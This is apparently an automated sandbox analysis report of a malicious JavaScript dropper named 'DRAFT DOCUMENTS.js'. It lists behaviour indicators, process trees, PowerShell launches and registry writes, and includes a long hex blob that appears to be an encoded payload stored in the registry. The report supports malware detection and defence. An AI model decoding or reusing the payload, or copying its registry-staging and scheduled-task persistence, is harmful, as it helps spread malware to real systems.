File name:

DRAFT DOCUMENTS.js

Full analysis: https://app.any.run/tasks/074000c3-0e91-4003-8c4c-e6a4690e90f7
Verdict: Malicious activity
Analysis date: July 27, 2024, 12:39:14
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with very long lines (57447), with CRLF line terminators
MD5:

B5F0861BF48F0FB76E6C504EBA4A0128

SHA1:

7CF3A28B5255BBDA0CFF658A6F2A08B132D75E80

SHA256:

F3075816F60FEAF04E278AD2ED3AB2AFF1345B77C0978F1EBBD1BF3DD3B9677A

SSDEEP:

12288:ljuNGDcp8kQrSKUjlhkEgV/54KG9dvbcYImaKu82ZYHs5dMM8AQ11WGrp0sa:KGDcpIEjW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Sends HTTP request (SCRIPT)

      • wscript.exe (PID: 6308)

    • Creates internet connection object (SCRIPT)

      • wscript.exe (PID: 6308)

    • Opens an HTTP connection (SCRIPT)

      • wscript.exe (PID: 6308)

    • Accesses environment variables (SCRIPT)

      • wscript.exe (PID: 6308)

    • Creates a new registry key or changes the value of an existing one (SCRIPT)

      • wscript.exe (PID: 6308)

    • Creates a new scheduled task (SCRIPT)

      • wscript.exe (PID: 6308)

    • Scans artifacts that could help determine the target

      • wscript.exe (PID: 6308)

    • Reads the value of a key from the registry (SCRIPT)

      • wscript.exe (PID: 6308)

    • Gets context to execute command-line operations (SCRIPT)

      • wscript.exe (PID: 6308)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 528)

  • SUSPICIOUS

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 6308)

    • Creates an object to access WMI (SCRIPT)

      • wscript.exe (PID: 6308)

    • Accesses current user name via WMI (SCRIPT)

      • wscript.exe (PID: 6308)

    • Gets context to manipulate triggers of a scheduled task (SCRIPT)

      • wscript.exe (PID: 6308)

    • Gets a folder of registered tasks (SCRIPT)

      • wscript.exe (PID: 6308)

    • Accesses object representing scheduled task trigger (SCRIPT)

      • wscript.exe (PID: 6308)

    • Gets context to manipulate scheduled tasks (SCRIPT)

      • wscript.exe (PID: 6308)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 6308)

    • Checks whether a specific file exists (SCRIPT)

      • wscript.exe (PID: 6308)

    • Gets scheduled task context (SCRIPT)

      • wscript.exe (PID: 6308)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 528)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 528)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 528)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 720)
      • powershell.exe (PID: 1644)

    • The process creates files with name similar to system file names

      • wermgr.exe (PID: 2952)

    • The process executes via Task Scheduler

      • wscript.exe (PID: 528)

  • INFO

    • Checks proxy server information

      • wscript.exe (PID: 6308)
      • wermgr.exe (PID: 2952)
      • wermgr.exe (PID: 2800)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 720)
      • powershell.exe (PID: 1644)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 720)
      • powershell.exe (PID: 1644)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 720)
      • powershell.exe (PID: 1644)

    • Creates files in the program directory

      • powershell.exe (PID: 720)
      • powershell.exe (PID: 1644)

    • Reads the software policy settings

      • wermgr.exe (PID: 2952)
      • wermgr.exe (PID: 2800)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.s | Digital Micrograph Script (100)
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
150
Monitored processes
9
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe slui.exe no specs wscript.exe no specs powershell.exe no specs conhost.exe no specs wermgr.exe powershell.exe no specs conhost.exe no specs wermgr.exe

Process information

PID
CMD
Path
Indicators
Parent process
528C:\WINDOWS\System32\WScript.exe "C:\Users\admin\UfFiqQIFyjJeqsw.vbs" C:\Windows\System32\wscript.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
720"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1644"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2800"C:\WINDOWS\system32\wermgr.exe" "-outproc" "0" "1644" "2944" "1112" "2948" "0" "0" "2952" "0" "0" "0" "0" "0" C:\Windows\System32\wermgr.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wermgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
2952"C:\WINDOWS\system32\wermgr.exe" "-outproc" "0" "720" "3044" "2636" "3048" "0" "0" "3052" "0" "0" "0" "0" "0" C:\Windows\System32\wermgr.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wermgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
4788\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
4294967295
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4820C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5532\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
4294967295
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6308"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\DRAFT DOCUMENTS.js"C:\Windows\System32\wscript.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
27 980
Read events
27 914
Write events
66
Delete events
0

Modification events

(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\UfFiqQIFyjJeqsw\donn
Operation:writeName:d0
Value:
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F300000000C000300B00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0D0E397C626D656373716F2C3A0D0E3F666E6944737572747F2C30202A0D0E39747962757365637F2C302020202A0D0E337567656C69667962705465647375657175627F2C3020202020202A0D0E3F2225637C6166622D3373756363614965702222756B6F667E694371622D3C6566756C602C6566756C4E6F696475736568754465647375657175627C30202020202020202A0D0E3223367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D6870237567656C69667962705465647375657175627C3020202020202A0D0E39747962757365637C302020202A0D0E3222367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D68702F666E6944737572747C30202A0D0E3F222070716E2E6F69647163696C607071497D422D356D616E6022203E203E203E21322D3E6F696372756670297479647E656469497C626D656373716C30202A0D0E32203E21322D3E6F696372756654737566696E616D602221367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D6870297C626D656373716C3A0D0E3F32237569722D356E6F6C61646E6164737022283D264455522D376E69646F636E656022203E21322D3E6F6963727566702C6D687F3C3FBBBFE0000000300E2000300E2000300E20013000000E600F6009600370027005600650002009700C6002600D600560037003700140010008000830000000300E2000300E2000300E20013000000E600F600960037002700560065004700360057004600F6002700050010008000430000000000560087005600E200030073002300630003003300230083004600460073005300D2001600830013001600D2004300030033004300D2001300360003002600D2007300230063002300560056004300830000005600D6001600E6005600C60096006400C6001600E6009600760096002700F40010009200C7000000020000004700860076009600270097000700F6003400C600160076005600C40010002000820000000000560087005600E200030073002300630003003300230083004600460073005300D2001600830013001600D2004300030033004300D2001300360003002600D2007300230063002300560056004300830000005600D6001600E400C6001600E600270056004700E600940010009200470000000300E2000300E2000300E200130000000000E600F600960037002700560065005600C600960064001000800003000000020000000000E600F6009600470007009600270036003700560044005600C6009600640010002000C200000003002600430003000300030003000300100000108F000000F6006600E60094005600C600960064007600E600960027004700350010000020C1400B00000000000000E600F600960047001600C6003700E60016002700450000004000420000000000F6006600E60094005600C600960064002700160065001000000044000000000000000000000000000000100000004000000000000000F30000000000100000000000000010000000100000EFFE40DB0000000000F4006400E4009400F500E400F40094003500250054006500F5003500650000004320CB0000000000000000000010AE00303CC50000000000000000000020CB00300C0A00000009000000000010000000000000000000000000000008000086000000100010000000000000000000000000000000000008000000000010000000000000000000000000000008000083000000100010000000000000000000000000000008000005000000810800000200000001002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004020052FF0000000000C6C646E2565627F63637D600E69616D456875427F634F500000000000000000000000000000030EB0E0000000000000000000000000000000000000000000002000030EBEE00000000000000000030EB0D81A0100040808F1811CF181181802081804F18118081818080A0CF1811808180E08020D5215141703210310100312020028080E08020D3281151E080E0E020D52151E08020161151E08020D521517070E18030802002505F18118080E080E0806000B08080E0D1E0E0D121E0E020D52151E0D1E0907031131821D10000605F1811E020200270E0802016115160E08020D328115170131821101E08115180E08020D521516013182110D421517080CE1811E08020D3281151131821101E08115180E0D180131821D1CE1811E08020161151E08020D52151131821E013182113182110D42151F070A38050D18181A020818181CE1811A070F0804D18218050D1805070A0804D182190908E18215070B04D182110D42151708050D1CC1811904E18215070C0901070308030D150D1CC181150D190900E18218070117050D1100050A057111000508050D1D02000608050D1C02000608050D1B02000608050D17020006030D130D1CC1811307090121120100250C1C1E0E03000608012118D18219050D190904D18218070018080D1213070608012118D18218050D1806070C080D1212070501138211010026013382110100260E0E010200250E0E01521103002704C1821101E08115180513821152110200280D23821000250913821109238215180523821000250D03821D0382110200290804C1821101E08115157115711123821D138214C182191382151382150D19121113821D03821D03821E070B25F28211808211521103002B05E2811903811903811103002C01F282160405808210000505038219F2821100080A01F282110200270DE2821D1000260808010200250DF281100025010382100005080DF2811DF2811DF2811DF2811912191219F28215F28211808211F2821DE28219E28215E2811E070828080D12150D1407080C120100040DA28210002501E2821000250801E2821E0D92821E05D28216070E0E0DD28211002609D282100025080D92821101A282151E0D928215A28215D2821E0707061980821000050E0131821D11000708080131821D1131821131821D180E07070111211121120200070180821D100006080180821D18030708000E110DC282151700031801020026000E110D72151608000E18050D1809C28216070C05B28210002501C2821101002601C2821000050E09B282110006080E0E0D7182115215B28211B282170700180805711E0407070D0E010004080D0D0200050B0D0100040B0000230D92821101A282151800031101A282151000290D9282110D418215180D9282110A0509A282100E110D4182151101001D05A282100025080D92821101A2821514B1811E0D9282199282159282170708180E0D1E0D1307070808050D150D12150709080E0E030705080E09090905070708000E1D1808080507090982821582811E0503000A018282100005080E08050D140707080818050D110400080E0571110005080C81821E050D18050D1121150D150D1A0A07031A0A0171821A0171821105000C08050D1A08040707080E0E020D52151E050D197282150D150D150D150D1DF1821E0E050D150D157282150D150D157282150D1E050D197282150D1808050D150D150D15B18218096282157282150D150D180808050D18050D1E0E0E020D52151A2709580171821102002703060208030D196282197282150D150D150D150D150D1E0A07061808A18112070608050D150D150D15B182150D150D1DF182180703130501000408050D150D150D150D1972821808050D150D150D196282150D1572821E070E1D0801000408050D150D150D150D150D150D150D150D18080808050D180808080E0121150D1806170328050D19020006080C31821C31821E0E050D180E080808080E0809080E0117081D621000040808050D1D18050D1D150D18050D150D180A070318050D190804070708050D1D19050D1818050D17070D08050D19081407070811010004080908050D189181150D18181819070F080808050D150D150D16070B0808080808050D16070908010A0308080808050D15070808050D1DF182150D1DF18215070D080E0DF182150D1DF18215070C080E0DF182150D1DF182150D1E07070F080DF18219B182150D1DF1821D1282110282150D1807061C120100240471821101E08115180C1E0D12120026080471821101E0811518050D18050D18050D1071811471821505050D121D121F0701280071811471821471821471821471821D1471821D1471821D14718218050D180471821D070528050D12070508096282120706080562821207060B0E010004085181110A050D52811A010006006181110A050807080807080808080A0A08080B0851811D1808080803170818030D1808080E0D18080809070D0C5181110A050D52811B0100060D5281170100060D5281180100060D52811D52811D528112000B0D0D0100040807080807080A0D1A08080B080808070F07021808080307050808080E010D421514070A08050D1A0200060808080808080208050D19070C0808080B04070608050D190282150D14070A0D52811D52811802000901718211010006080808050D140707080E0E020161151101E081151E0E0E02016115140705100E1D110101001701521000240E09028211000605010D4215150E0E08080808080E0D1808080E0E080809528215010D421511170A18030D130D130D180E0D180E0E09070F000E110A040C1E01002408055282120706053E463DA6583FB1380E0D1E0E02000600721101E08115170800721101E08115107213070C0072110D42151608080E0D1C31821E0E050D150D1471821E050D150D1471821E0E0E080C6182145182150D1E0E0C3182110D421517170F2805918211002608080E0D1C31821E0E050D150D1471821E050D150D1471821E0E0E080C61821DC1821561821E050D1E0C3182110D421518170238097211E1821591821E010D42151507001E0E02016115160E0E020161151101E081151B0E0E02016115110D42151A080E0E020161151101E08115150D147182147182150D150D1471821C61821E0E02016115105182150D1E050D150D150D150D150D150D150D147182150D1451821E0471821C6182150D150D145182150D1E170258050D148182150D1D4282150D150D17070118050D150D150D150D150D150D150D18050D150D150D1C070818080E0D1E010D42151E0E010D421516070118050D1E0E050D150D108182150D150D1907021E0DC1821100260942811E0102002708097211E182150D150D1591821DC182150D1E09070518080E0D1C3182150D180E0E0E0451821E0C3182110D42151E010D42151D070F18080E0D180E0D180E0D1E0D1D71821902821E0D71821902821E0E0D1E0D1E0E0E010D42151E0D1E05170A28097211E182197211E1821E0101E081151591821591821E0E010D42151E010D42151B0704280E0101E081151C31821E0E010D42151C3182110D421516070912081102002508080802000508080E0D180E050D18080C31821808050D150D1421821E0D8182181E0C3182110D4215131705230E01000408030D130D180E0D130D1C31821E0E0E0E0E0E0D1E0E0C3182110D421510170F180E080E08050D150D1E08070C080E0E020D52151E0209A181151C31821E0C41821E0C3182110D421517070E180C3182110D42151C31821E0E0E08080E0E0C3182110D42151B070B13010A03030D10002408080E080E030D130E080D130D130D1808080E070418080E0D1C3182110D42151C31821E0E0D81821E0D81821C3182110D42151B0700214282100005080D7182192282191219B182150D1142821E0807041C01821101E08115180C0182110D4215170C0182110D4215110A09080C01821101E081151C3182110D42151C01821C0182110D42151841821E050D1E0E0C3182110D42151B070B2801821101E0811518080182110D421517080182110D42151E020161151C010310031201611510002A080182110D42151E020D3281151D01031003120D32811510002B080182110D42151E020D52151C080182110D42151E020D5215110A0E080801821101E08115180182110D42151E020D3281151C3182110D4215180182180182110D42151E02016115180182110D42151E020D52151841821E050D1E0E0C3182110D42151D070948050D1808050D1805002A0809328219B18215328218050D150D150D1807031203100024020311031003110300290E0E0E0301328215180E0E0E0301328215110D42151C08030D180E0D1C31821E050D1E0E0E0D1E080E0E0E0301328215110D42151C31821E050D1C1D8182180E0E0E0301328215110D42151C3182110D421515170E380C3182110D42151C31821E0E0E0E08048182145182150D150D1C3182110D42151E0E070428050D180200060152110100250D228119B18211521103002B080D718219228219B182191215C1821E05B182180705180C3182110D42151C31821E0E0E0E0E0E080451821E0E0C3182110D42151E070028050D1602000608050D110005080E0808050D150D16070A080E0E0209A181151E0E020D52151E0209A181151E0C31821E0C41821E0C3182110D4215190706280171821171821103000A080E0DF182150D19B1821DF182150D150D150D150D150D1D1282150D1D070E18080E030E0E0607080508010004080C3182180E0D150D150D1808050D1E0C3182110D42151E0C070A1808080D18080D180D180D18080D180808080D180D1E0F07081808050D180300270A080100040912811512811112811E0104002D080C31821101E081151E0101E081151E0101E081151E0101E081151C3182110D42151C3182120E080808080C3182180E0202050D180902821E0E0E0E010D42151E0E010D42151E010D42151E0E0E0E0C3182110D421511270858080E0D1C3182110D42151C31821E0E0C1815F0821C15F082181815F0821815F082112115F082181C180818180811211C1808180818095218080151821E0E0D81821E0D81821C3182110D42151B270F4808017182180171821105000C08030D150D1E040708095219521202000708030D130D180E0D1E0D180E0D180E0D180D81821D1D81821D1E0E0E0D1C31821E0D81821E0D81821E0D81821102821D81821D1E0C3182110D42151B170D3C1E0E0C130006080E0101E08115180E0D1C3182110D42151C31821C31821E0C41821E0E0E0E0E010D42151E0C3182110D421510170E2808050D1804070708080E050D180308080808050D1E0C070018030D130D130D130D180E0D1C31821E0D1E0E0E0E0D1E0E0D180E0D1E0C3182110D421513170628080E0D180E0D1C31821E0E0D1E0E0D1E0C3182110D42151C070A18080E0D180E0D1E0D1E0E0E0E0E0E0E0D1E0E0D1C3182110D421510170D180E0DF1821E050D19B1821DF182150D1E090703180E08020005080E080E0E080E0E0E09070B0E0E0209A18115170E0E0205A182151708030D130D130D130D1E0E0209A181151E0E020D52151E0209A181151E0E0C31821E0C41821E0C3182110D42151E070F28D1821101E081151808D182110D421517080908D1821101E08115180E0D1C3182110D421518D1821C318214D1821E0E0D1E0C3182110D42151D070A28080E030E05070708030D180E0D130D180E0D1C31821E0E0D1E0E0D1E0E0D1E0E0E0C3182110D42151E031704230D11010025030801002408080808030D180807070A0C1C1C1E0300060C1D1E010005080C1D1C1D180E0D180E0D1E0D1E0D1E080E0E0D1E0D1E010D42151F070D100E110D418215100E1D1101001D080E0E020D52151E0209A181151E0101E081151C3182110D42151C31821E0C41821E0D1E0E010D42151C3182110D42151B070235F1811E08020027000E110D418215100E110D4215110100101E010A0308000E110D418215100E110D418215120100121E080100240803080E0E080E0E080E08080E010D4215180E010D4215130E010D42151E021700280808080407060C1E0E020005080E0100040C1E0C12002508080E0D1C3182110D42151C31821E0E0E0E0D81821E0D81821E0C3182110D42151E070329B18210002508050D1E09E182150D15B182150D17070018080E0D1C3182150D1D81821E0D81821E0C3182110D42151A070A18080E0D1C3182110D42151C31821E0E0D1C3182110D421518070A180C3182110D42151C31821E0561821E0561821E0E0E0E0E0C3182110D42151D07012E0DD1821100260581821D1000260E0581821D11002708080581821D180581821D1C31821E0E05D1821E0581821581821581821E0C3182110D42151F0707280E02070408080E0D1E0E0E0D16070A08080E0D1E0E0E0D1E0E08070C05010A03020E0D818212002708080E0D1C3182110D42151C31821E050D150D1E0D81821E0E0D1D81821C3182110D42151E070628080E0D180E0D1E0D1E0E0E010D42151E0D1A0704180E050200050808080E0407060E05E18211002601E182100025080DD18211002609D18210002508097211E182180E0D1C31821DD18219D18215D1821E0C3182110D42151B070F18080E0D130D1E0E0D1E0C41821E0C3182110D42151A07071C1C1E02000508030100240808050D15080E0E07070A08030D130D180E0D150D1E0E0C31821E0D1E0B0704180C31821C3182110D421513070D080003110025047182110D42151701D1811E0D1E0D1200290E0E0DC182120007080E0D180E0D1C3182110D42151C31821E050D150D1471821C61821E0E0E0D18050D180E0E0E0E0D1C3182110D4215161701350D1E010200260805C1821207060808050D150D130028050D150D19B18212002901C1811101002601711101002508050D1E05B1821E09B18215B182150D18070211031000240C31821E0201B1811519010310031201B1811510002B0C31821E020DA182151901031003120DA1821510002B0C31821E0209A18115190C31821E0205A18215190E0E020D5215160E0E020D52151E0209A181151C010310031209A1811510002B0E0E020D52151E0205A182151C010310031205A1821510002B0C31821E020D521518080C31821E0201B18115130D1C31821E0209A181151E0E020D52151E0209A181151C31821C3182150D1E0E080E0D1C31821C31821E0E0E0C31821E020D52151C41821E0E0E0E0E0C3182110D4215191700580D91821100260991821000250E05918211002608030D1C3182110D42151C31821E0E0E080451821E0E0E0C3182110D42151D0700230D1E0D11002608030D1C3182110D42151C31821D121D121E0E0D1E0D81821C3182110D42151B070128050100040808050D1307060803010004050D120E0C1100240E0D81821100260D8182160408030D130D130D180E0D180E0D180E0D1E0D1C3182150D1E0D81821E0D81821E0D81821E050D1E0D1C3182110D421517170135818210002500031D10002508080E0D180E0D1C31821E0E0E08050D1451821E0C3182110D42151E0E010D42151E0117042E0581821100060E0101E08115160E010D421515080121180E0D1E0101E081151C3182150D1E0E020D5215150D1E0E0E0D1C81821E0C3182110D42151E010D421510170F280C3182110D421512070A0D7182100025097182100025080E0D1131821307080808050D1E030027057181117182110200090561150D150D150D13000A08050D150D130707080C3182180E0D1E0C3182110D42151E070702180E010024080C3182110D42151E0E0E05070D0161811E0E0E0D1300090951811E01000608080E0D1C3182110D42151E0E0E0707001003110311002600031201002509521801000501031003110200270E0121120D52151701518210002505518210000508081C3182110D42151E0121120D52151C31821E0E0E0815F0821C15F082181815F0821815F082112115F082181C180818180811211C180E0121120D521518180818095218080151821C3182110D42151727025003110D4182151101002A0441821101E0811518044182110D421517080441821101E081151441821C3182110D421514070518083182120706080802070408100023094182110100260862110A0408086218621862140709080C120E04070608090100040808010004080E0818080812050D1D1219070D0E0E020200050805711E0D130707080D12180307060C1101000402001C11020006080C120307050D010100240D318211010026013110000405318210002501318210000508081E080407060808045114511407080C42110A04080C421C421C421407090842110A04000E100E100E10100E1301001C080842184218421407090800000308090207040041110A04000E180101001608110100240E05F0821100260952100024081501000408160100040C18010004030D1E010025051182100005081E0100040A081100040C1C1100240808050D18110400080952181C120006050181195211000708030D1809F08218150D182118181C15F0821C1C1D07061E080100040DE082100005080E0D1207050D121000240E0D1211002500031000240C31821101E081151800031101E081151000290C3182110D421517080C31821101E081151C31821D121C3182110D42151507071E0E010200050E0D1E0100050805711E0D1E0407080003110100250E0E0E0E0E040007057110000404C182110D42151708057114C18214C182110D421514C182110D42151507061902110100050DC0821DC0821DC08212000B090210000409C08111010006080107030000000000020000000300010C0000000000010000000300010C0DB08119B0811102002900000568393468346330336933603D236432393D226536643D293939336D2032366366653136342001092000003E203E203E213700010C0103777F6278645E6F696470756368754E6F6E40716277561204500100010E100000000008000108044281160400428116040C328116040832811604043281160400328116040C22811604080E08020D52151100090E08020D52151E08020D521511000E0E0E020D52151000080E0D1E0CE181120008081802811100060A001812020006081900190818120500090819090819090E0817000A090909040281181815000A04110E090900028118181816000B090D121E09030007041281120908101818181207000D090200128118130008080018081812811CF18114000C080018081C0281181CF18115000D0000000D24000000052400000001240000000714081281160404128116040000100004000F1F0FF400128116040C02811604000000800408028116040000000F1404028116040400000004001000000401000000040800000004000281160400C0000804008000050400C00004040CF181160400F1811604050602080E080E0104002704D182110D421510082904D182110D4215100029050D18E18211000704D182110D42151101002A04D182110D4215160809010100240CD182190102002705000823050D18D182110007050000230CD1821E010200270C100823070008230CC1811008250C100023070000230CC181100025050D1CC181110200280CD1821008250CD182110100260CD1821000250CD182160408D182110D421510082909000823050D14D18211000708D182110D42151000290900002308D182110D42151101002A08D182110D42151608002002001002000942000842000742000642000542000442000342000242000142000042000F12000E12000712000612000512000412000312000212000112000012000E02000B02000A020008020007020006020005020004020003020002020001020000020CC18116040804C182110D42151E0E0104000D09121000040E0980821E020007058082118082110008000E110D7215100E110D72151101001F04B181160404B1811E0100060E0E0E0
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\UfFiqQIFyjJeqsw\donn
Operation:writeName:d1
Value:
